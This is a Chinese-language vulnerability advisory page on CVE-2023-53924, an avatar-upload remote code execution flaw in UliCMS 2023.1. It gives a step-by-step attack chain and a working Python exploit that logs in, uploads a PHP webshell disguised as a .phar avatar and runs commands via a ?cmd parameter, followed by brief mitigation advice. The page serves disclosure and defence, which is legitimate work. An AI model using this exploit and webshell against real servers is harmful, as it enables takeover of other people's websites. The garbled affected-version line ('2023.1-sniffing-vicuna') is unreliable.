IPBUF安全漏洞报告
English
CVE-2023-53924 CVSS 8.8 高危

CVE-2023-53924 UliCMS头像上传远程代码执行漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53924
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
UliCMS 2023.1

相关标签

远程代码执行文件上传漏洞UliCMS高危头像上传PHAR反序列化CVE-2023-53924Web安全

漏洞概述

CVE-2023-53924是UliCMS 2023.1版本中的一个高危远程代码执行漏洞。该漏洞存在于用户头像上传功能中,允许已认证的低权限攻击者上传包含恶意代码的PHP文件(.phar或.php扩展名)作为头像。攻击者通过访问上传文件的URL即可触发恶意代码执行,从而在服务器上执行任意系统命令,完全控制受影响的系统。此漏洞的CVSS评分高达8.8,属于高危级别,对使用UliCMS的企业和个人网站构成严重威胁。攻击者无需高级权限即可利用此漏洞,且无需用户交互,使得漏洞利用门槛较低,危害性极大。

技术细节

该漏洞的核心问题在于UliCMS的头像上传功能缺乏对文件扩展名的严格验证。系统仅检查文件是否为图片格式,但未正确限制.phar和.php等可执行扩展名。攻击者首先需要拥有一个有效的低权限账户,然后通过修改头像上传接口,发送包含恶意PHP代码的文件。恶意代码通常使用system()、exec()或shell_exec()等函数执行系统命令。上传成功后,攻击者通过构造特定的URL访问该文件路径,Web服务器会将.phar文件作为PHP脚本解析执行,从而触发恶意代码。由于上传目录通常位于Web可访问路径下,攻击者可以直接通过HTTP请求触发代码执行,实现远程命令注入。

攻击链分析

STEP 1
步骤1
攻击者获取UliCMS系统低权限账户(普通用户账号)
STEP 2
步骤2
登录系统后,访问个人资料设置页面,准备上传恶意头像文件
STEP 3
步骤3
构造包含PHP代码的.phar文件作为头像上传,绕过文件类型检查
STEP 4
步骤4
系统将恶意文件保存到Web可访问的上传目录中
STEP 5
步骤5
攻击者通过HTTP请求访问上传的恶意文件路径
STEP 6
步骤6
Web服务器将.phar文件作为PHP脚本解析执行,触发恶意代码
STEP 7
步骤7
通过URL参数传递系统命令(如?cmd=whoami),实现远程代码执行
STEP 8
步骤8
攻击者获得服务器完全控制权,可执行任意系统命令、读取敏感数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53924 PoC - UliCMS Avatar Upload RCE # Target: UliCMS 2023.1 # Authentication required: Low privilege user account TARGET_URL = "http://target-website.com" USERNAME = "attacker" PASSWORD = "attacker123" def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/admin/index.php" data = { "user": USERNAME, "password": PASSWORD, "action": "login" } response = session.post(login_url, data=data) return session if "success" in response.text else None def upload_malicious_avatar(session): """Upload PHP shell as avatar""" upload_url = f"{TARGET_URL}/admin/index.php?action=profile" # PHP webshell payload php_payload = "<?php system($_GET['cmd']); ?>" files = { "avatar": ("avatar.phar", php_payload, "application/octet-stream") } response = session.post(upload_url, files=files) return response def execute_command(file_url, cmd): """Execute command via uploaded webshell""" exploit_url = f"{file_url}?cmd={cmd}" response = requests.get(exploit_url) return response.text if __name__ == "__main__": print("[*] CVE-2023-53924 UliCMS RCE Exploit") session = login() if session: print("[+] Login successful") upload_malicious_avatar(session) print("[+] Malicious avatar uploaded") print("[*] Access uploaded file and use ?cmd=<command> to execute") else: print("[-] Login failed")

影响范围

UliCMS 2023.1-sniffing-vicuna

防御指南

临时缓解措施
在官方补丁发布前,建议临时禁用用户头像上传功能或将其设置为仅管理员权限可操作。同时将上传目录从Web根目录移出或配置为禁止PHP脚本执行(通过.htaccess或nginx配置),并启用Web应用防火墙规则监控包含.php、.phar等扩展名的上传请求。对所有上传文件进行强制重命名和内容扫描,阻止恶意代码文件在服务器上落地。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表